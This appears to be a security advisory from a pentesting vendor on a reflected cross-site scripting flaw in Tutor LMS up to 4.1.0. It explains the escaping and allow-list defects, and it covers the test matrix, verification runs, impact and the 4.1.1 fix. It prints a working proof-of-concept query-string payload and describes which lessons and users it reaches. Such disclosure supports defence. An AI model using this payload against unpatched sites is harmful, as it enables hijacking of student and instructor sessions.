CVE-2026-42702 The allow list that stood down when the list was empty in Tutor LMS

Intrudify's autonomous pentesting engine discovered a cross-site scripting vulnerability in Tutor LMS, affecting all versions up to and including 4.1.0. The tab query parameter is printed into an Alpine.js x-data expression after being escaped for HTML, and the allow-list that should have rejected it turns itself off on the ordinary kind of lesson. Fixed in 4.1.1.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
6 October 2026
Severity
High · CVSS 7.1
Vulnerability class
Cross-site scripting, CWE-79
Affected
Tutor LMS ≤ 4.1.0
Fixed in
4.1.1
Active installs
100,000+
Attacker privilege
None, unauthenticated
Victim
An enrolled student, the course instructor, or any visitor to a public course
Execution
One link, opened once

Summary

Tutor LMS runs courses on more than 100,000 WordPress sites. Its learning area shows a lesson with a row of tabs across it, and which tab opens is decided by a tab query parameter. The template hands that value to Alpine.js by writing it into an x-data attribute, which Alpine reads back and evaluates as a JavaScript expression.

The value is escaped with esc_html(). That function is built for HTML text and turns a double quote into ". The attribute is wrapped in single quotes, so the entity sits there harmlessly until the browser's HTML parser decodes it, which it does before any JavaScript runs. Alpine then receives a plain double quote, which is the character that ends the string literal it was placed in.

A second defect decides who is exposed. The template does check the value against the list of real tab ids, and then adds AND ! empty( $tabs_data ), so the check is skipped whenever the lesson has no tabs. A lesson with no text, no attachments and lesson comments off has no tabs, and that is an ordinary video-only lesson on a default install.

The result is script execution from a link. No account, no nonce, nothing stored.

Technical detail

The template

// templates/learning-area/lesson/content.php, Tutor LMS 4.1.0

$tabs_data  = Lesson::get_nav_items( $lesson->ID );          // line 25
$active_tab = Input::get( 'tab', 'overview' );                // line 27
$valid_tabs = wp_list_pluck( $tabs_data, 'id' );          // line 28

if ( ! in_array( $active_tab, $valid_tabs, true )
     AND ! empty( $tabs_data ) ) {                       // line 29
    $active_tab = $tabs_data[0]['id'];                   // line 30
}

...

<div
    x-data='tutorTabs({                               // line 54
        tabs: <?php echo wp_json_encode( $tabs_data ); ?>,
        defaultTab: "<?php echo esc_html( $active_tab ); ?>",
        urlParams: { paramName: "page_tab" }
    })'
    class="tutor-lesson-content-tab"
>

Three choices meet on line 54 to 56. The attribute is delimited with single quotes, the JavaScript string inside it with double quotes, and the escaper applied to the value encodes double quotes into an HTML entity. Each is defensible on its own. Together they cancel out.

Input::get() is not a raw read, which is worth saying plainly: it applies sanitize_text_field(). That function removes tags, and this payload is not a tag. A double quote, a plus sign, a pair of parentheses and some letters all survive it untouched.

What the browser hands back

# GET /courses/demo-course/lessons/video-lesson/
#     ?tab=zz%22%2Balert(document.domain)%2B%22zz

# what PHP writes into the response:
defaultTab: "zz"+alert(document.domain)+"zz",

# what the browser hands Alpine, read back with getAttribute():
tutorTabs({ tabs: [], defaultTab: "zz"+alert(document.domain)+"zz", ... })

# the HTML parser decoded the entity before any JavaScript ran.
# the string literal now ends after zz, and what follows is code.

The decode is not a bug in the browser. An HTML attribute value is entity-decoded as part of parsing, and getAttribute() returns the decoded text, which is what Alpine evaluates. esc_html() protects a value that will be read as HTML text. This value is read as a JavaScript expression one layer further in.

That is a claim worth measuring, so it was measured. Each pairing below was put into a real browser, read back with getAttribute() and evaluated with a counting stub in place of alert, so the oracle is execution:

// oracle: does the expression Alpine evaluates CALL alert?
// a substring test does not discriminate here, because the payload
// text is present either way. oracle control: must-fire=1 must-not-fire=0

// attribute | JS string | escaper  | payload  | result

   '        "           esc_html   "          alert CALLED   // 4.1.0
     -> f({t: "zz"+alert(1)+"zz"})

   "        '           esc_html   "          inert
     -> f({t: 'zz"+alert(1)+"zz'})

   "        '           esc_html   '          alert CALLED
     -> f({t: 'zz'+alert(1)+'zz'})

   "        '           esc_js     '          inert        // 4.1.1
     -> f({t: 'zz\'+alert(1)+\'zz'})

The third row is the one that decides the shape of a correct fix. Flipping the quotes without changing the escaper moves the hole from the double quote to the single quote, because esc_html() encodes ' as &#39; and the parser decodes that too. Both halves of the 4.1.1 change were needed.

The allow list, and the condition that disables it

// classes/Lesson.php, Tutor LMS 4.1.0

public static function has_lesson_content( $lesson_id ) {      // line 945
    return apply_filters(
        'tutor_has_lesson_content',
        User::is_admin() || ! in_array( trim( get_the_content() ),
            array( null, '', '&nbsp;' ), true ),
        $lesson_id
    );
}


public static function get_nav_items( $lesson_id ) {           // line 1018
    $definitions = array(
        'overview' => array( 'condition' => self::has_lesson_content( $lesson_id ), ... ),
        'files'    => array( 'condition' => tutor_utils()->count( $attachments ), ... ),
        'comments' => array( 'condition' => self::is_comment_enabled_for_lesson( $lesson_id )
                                            && is_user_logged_in(), ... ),
    );

    foreach ( $definitions as $key => $def ) {
        if ( empty( $def['condition'] ) ) { continue; }
        ...
    }
}

// a video-only lesson: no text, no attachments, lesson comments off
// (the shipped default) -> three falsy conditions -> an empty array.

get_nav_items() builds the tab list from three conditions and returns only the ones that hold. A video-only lesson satisfies none of them: has_lesson_content() is false because the post content is empty, there are no attachments, and enable_comment_for_lesson is off on a fresh install, which was confirmed on one.

With an empty list, ! empty( $tabs_data ) is false, the whole condition is false, and the attacker's value is kept. The guard is switched off in exactly the state where it is the only thing standing between the query string and the sink.

The administrator is the one principal who is safe

has_lesson_content() begins with User::is_admin(). For an administrator it returns true whatever the lesson holds, so the overview tab always exists, the list is never empty, and the allow-list always runs. Everyone else is exposed: an enrolled student, the course instructor, and on a public course any visitor at all. This was measured in all three sessions.

Verification

WordPress 7.1.3, PHP 8.3, Tutor LMS 4.1.0, default settings, permalinks set to post name, on http://127.0.0.1:8487. One free course, one topic, one lesson with its description left empty, created the way a course author creates them. No security setting was changed at any point.

# WordPress 7.1.3, PHP 8.3, Tutor LMS 4.1.0, default settings.
# measured in real Chrome, dialog handler attached, instrument
# control (data:text/html alert) passing before every run.

# the lesson, as Tutor builds it for a video-only lesson:
$ wp eval 'echo count( Lesson::get_nav_items( 9 ) );'
0


# 1. unauthenticated visitor, 0 cookies, Public Course on
  benign   ?tab=overview
    x-data: tutorTabs({ tabs: [], defaultTab: "overview", ... })
    dialogs: 0

  payload  ?tab=zz"+alert(document.domain)+"zz
    x-data: tutorTabs({ tabs: [], defaultTab: "zz"+alert(document.domain)+"zz" })
    dialogs: 1   message: 127.0.0.1


# 2. enrolled student, logged in over HTTP, Public Course OFF
  benign   dialogs: 0        payload  dialogs: 1   message: 127.0.0.1

The x-data line in each run is read back from the live DOM with getAttribute(), so what is printed is what Alpine was given, after the parser had finished with it. In the payload runs the entity is already gone.

Three controls

# control A: the same URL in an ADMINISTRATOR session
  x-data: tutorTabs({ tabs: [{"id":"overview",...}],
                      defaultTab: "overview", ... })
  dialogs: 0
  # has_lesson_content() returns true for an admin whatever the content,
  # so the tab list is not empty and the allow-list applies.


# control B: the same lesson given a text description, visitor logged out
  x-data: tutorTabs({ tabs: [{"id":"overview",...}],
                      defaultTab: "overview", ... })
  dialogs: 0
  # the precondition is the empty tab list, nothing else.


# control C: Public Course turned off, visitor logged out
  HTTP 200, and the x-data block is absent from the response entirely.
  # the unauthenticated variant does depend on that one setting.

Control A and control B are the same claim from two directions: the finding needs an empty tab list, and the tab list is empty because of ordinary content. No setting was changed to make it so. Control C marks the one setting that does matter, and only for the unauthenticated variant.

4.1.1

The same URL against 4.1.1 renders defaultTab: 'overview' and fires nothing, logged out and logged in. The allow-list is now unconditional, so the attacker's value never reaches the escaper at all.

Impact

The attacker needs no account and no token. They need the victim to open a link, which on a learning platform is the most ordinary thing there is: a course announcement, a forum post, a message in a cohort chat, a reply in the Q&A on the lesson itself.

Script runs in the site's own origin in the victim's session. For an enrolled student that means their account and the site-wide _tutor_nonce printed on the page, which authorises the actions a student can take. For the course instructor it is worth more: the tutor_instructor role carries edit_posts, edit_published_posts and upload_files, so a session taken there writes content and uploads files as them.

On a course with Tutor's Public Course option on, the same page is served to anyone, so the link works on a visitor with no account at all.

Administrators are not reachable through this path, for the reason given above. That is an unusual shape and it cuts the ceiling: the direct route to a second administrator account is not here. The instructor session is the valuable one.

There is nothing to clean up afterwards. The value arrives in the query string on each request and is never written anywhere, so the whole of the exposure ends with the update. The two databases describe this one differently, so it is worth stating plainly: nothing is stored.

Remediation

Update Tutor LMS to 4.1.1 or later.

// Tutor LMS 4.1.1

- if ( ! in_array( $active_tab, $valid_tabs, true ) && ! empty( $tabs_data ) ) {
-     $active_tab = $tabs_data[0]['id'];
+ if ( ! in_array( $active_tab, $valid_tabs, true ) ) {
+     $active_tab = $tabs_data[0]['id'] ?? 'overview';
  }

- x-data='tutorTabs({
-     tabs: <?php echo wp_json_encode( $tabs_data ); ?>,
-     defaultTab: "<?php echo esc_html( $active_tab ); ?>",
-     urlParams: { paramName: "page_tab" }
- })'

+ x-data="tutorTabs({
+     tabs: <?php echo esc_attr( tutor_json_encode( $tabs_data ) ); ?>,
+     defaultTab: '<?php echo esc_js( $active_tab ); ?>',
+     urlParams: { paramName: 'page_tab' }
+ })"

Two changes, and the measured matrix above says why each is needed. The allow-list becomes unconditional, with ?? 'overview' covering the empty array that the removed condition was there to avoid. And the quoting is inverted so the attribute carries double quotes and the JavaScript strings single ones, with esc_js() on the value, which backslash-escapes the quote that the HTML parser would otherwise hand straight to Alpine.

The release did not stop at the reported file. Tutor LMS 4.1.0 had nineteen single-quoted x-data attributes across its templates and components; 4.1.1 has none, with all of them converted to the same double-quoted form. The count of x-data attributes is identical in both releases, so this was a sweep of the class and not a patch of one line.

The wider lesson

The first half of this is a story about a PHP warning. Somebody wrote the allow-list correctly, then noticed that $tabs_data[0]['id'] would be an undefined index when the array was empty, and added AND ! empty( $tabs_data ) to the condition. That makes the warning go away. It also means the check is skipped precisely when there is no safe value to fall back to, which is the state the attacker wants. The 4.1.1 line shows the version that was always available: keep the check, and give the fallback a default with ??.

So when a guard carries a condition that exists to keep PHP quiet, read it twice. ! empty(), isset() and is_array() are added to silence a notice and they end up as part of the security predicate. Ask what the guard does in the state that condition excludes, because that state is reachable and somebody will find it.

The second half is about escapers and delimiters. esc_html() is not a weak function and it was not used carelessly; it was used for the wrong context, one layer too early. The value here passes through two parsers before anything evaluates it: the HTML parser, which decodes entities and does not care what the text means afterwards, and the JavaScript parser, which does. An escaper only protects the layer whose delimiters it knows about.

The practical version of that is a question to ask at every interpolation: which character ends the thing this value is sitting inside, and is that character still reachable after every layer between here and the parser has had its turn. In this template the answer was the double quote, and &quot; is a double quote by the time Alpine looks at it.

Disclosure timeline

  • 2026-09-21 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
  • 2026-10-06 Release 4.1.1 published by Themeum, and public disclosure by Patchstack
  • 2026-10-10 CVE-2026-42702 published

Questions

What is CVE-2026-42702?

CVE-2026-42702 is a cross-site scripting vulnerability in Tutor LMS, affecting all versions up to and including 4.1.0. The lesson template prints the tab query parameter into an Alpine.js x-data expression after escaping it with esc_html(), which encodes a double quote as an HTML entity. The browser decodes that entity before Alpine evaluates the expression, so the quote ends the JavaScript string literal and the rest of the value is executed as code.

Who can exploit CVE-2026-42702?

Anyone who can get the victim to open a link. No account and no nonce are needed on the attacker's side. The victim is an enrolled student or the course instructor, or on a course with Tutor's Public Course option enabled, any visitor at all. Administrators are not affected, because has_lesson_content() returns true for them and the allow-list is therefore never skipped.

Which lessons are affected?

A lesson whose tab list comes out empty, which means no text description, no attachments, and lesson comments off. That is the ordinary state of a video-only lesson on a default install, since lesson comments are disabled by default. A lesson with a description is not affected, which was confirmed by adding one and re-running the same request.

Is anything stored in my database?

No. The value arrives in the query string on each request and is never written anywhere, so there is nothing to clean up. Updating removes the exposure completely.

How do I fix CVE-2026-42702?

Update Tutor LMS to 4.1.1 or later. That release makes the tab allow-list unconditional, with a default for the empty case, and changes the attribute so the JavaScript strings are single-quoted inside a double-quoted attribute with esc_js() applied to the value. It also converts every other single-quoted x-data attribute in the plugin to the same safe form.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.